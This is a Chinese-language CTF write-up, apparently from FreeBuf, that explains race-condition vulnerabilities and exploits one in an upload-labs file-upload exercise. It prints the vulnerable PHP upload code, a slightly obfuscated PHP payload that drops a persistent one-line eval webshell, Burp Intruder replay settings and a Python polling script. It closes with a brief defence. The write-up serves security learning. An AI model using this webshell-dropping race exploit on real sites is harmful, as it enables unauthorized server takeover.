CTF | 天下武功唯快不破之条件竞争漏洞 – 作者:宸极实验室Sec

介绍:很简单的upload-labs实验题,但是可以引申出值得进一步学习的条件竞争漏洞。

0x00 前言

第一年打省赛的银牌Web题就是考察条件竞争漏洞的,题目不难但当时没接触过很遗憾,回过头再详细学习弥补一下。

0x01 条件竞争介绍

1.1 是什么

条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现bug。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。说的通俗一点,条件竞争涉及到的就是操作系统中所提到的进程或者线程同步的问题,当一个程序的运行的结果依赖于线程的顺序,处理不当就会发生条件竞争。

1.2产生条件

并发、共享对象、改变对象是条件竞争产生的必要条件,Wiki上有详细介绍:

图片[1]-CTF | 天下武功唯快不破之条件竞争漏洞 – 作者:宸极实验室Sec-安全小百科

0x02 漏洞发生场景

2.1 银行提现

当我们在手机端进行提现操作时,账户余额为500元,向服务器发送提现500元的请求,提现完毕后账户余额应当清零。那么如果在我提现成功和它进行清零事件的间隙时间里,我再次发送出提现500元的请求会发生什么呢?条件竞争利用成功的结果就是多了500大洋。

图片[2]-CTF | 天下武功唯快不破之条件竞争漏洞 – 作者:宸极实验室Sec-安全小百科

2.2 网站文件上传

网络安全如此重视的当今社会,怎么会有网站允许被不法分子上传木马等有威胁性的文件呢,开发人员通过检测文件后缀名,设置白名单黑名单各种方式判断用户上传文件是否为危险文件,一旦发现,就会立马发现。同样的,若是我们在判断和删除事件这一时间差内进行一些操作岂不是也会成功?

1

2.3 Dos攻击

渗透测试中我们常遇到的重放攻击与之类似,由于没有频率限制,在一些提交页面可以反复的进行数据插入,导致最终服务器资源耗尽,平台无法正常运作。

0x03 相关实验

这里拿一个木马文件上传的实验进一步理解漏洞利用过程。一个文件上传的页面,源码如下:

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

接收上传的文件,白名单判断是否为jpgpnggif中的一种,若是按照日期保存在相应的文件夹内,若不是则提醒“只允许传.jpg|.png|.gif类型文件!”随后进行unlink删除操作。如上面漏洞场景中所说,这里便可以利用条件竞争漏洞在判断白名单和unlink操作之间上传木马。我们进行以下操作:

准备上传的shell.php中写入php语句如下:

aaa<?ph fputs(fopen("rv1nm4.php", "w"), ‘<?ph ·eva1($_POST[rv1nm4]);?>’); ?>

shell.php执行后新建rv1nm4.php文件并写入一句话木马,作用是当上传的shell.php被删后,后端还存有rv1nm4.php中的后门,方便连接。

接下来抓取上传shell.php的请求包,发送到Intruder爆破模块

3

配置好相关payloads设置,选择Null payloads并勾选无限重放

4

除此之外最好设置多线程重放,增加条件竞争成功的可能性

5

之后就是自动重放过程,在重放之前编写脚本监控条件竞争是否成功,相关代码如下:

url = "http://127.0.0.1/upload-labs/upload/shell.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("YES,you upload it!")
    else:
	    print("NO")

不断访问上传的shell.php文件,一旦有200状态码,说明条件竞争成功。监控脚本启动后,开始进行无限重放

6

与此同时,监控处反馈回了上传成功信息

7

接下来就可以利用相关工具结合写入的后门进行连接,为所欲为。

0x04 防御措施

魔高一尺道高一丈,有漏洞攻击方式就有防御手段,条件竞争之所以产生,很大一部分原因是程序的逻辑性出现问题,开发人员习惯性的遵循线性思维进行代码编写,对线程并发操作没有采取同步制约的相关措施。上传文件时,对于这种“夹缝中”生存的漏洞,采取先检测后上传的的方式,直接堵死这条不安全的“缝”。

0x05总结

很多实际应用场景中都有条件竞争漏洞的身影,感兴趣的小伙伴可以自己搭建环境进行学习复现。

作者:rv1nm4

来源:freebuf.com 2021-05-31 16:55:07 by: 宸极实验室Sec

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论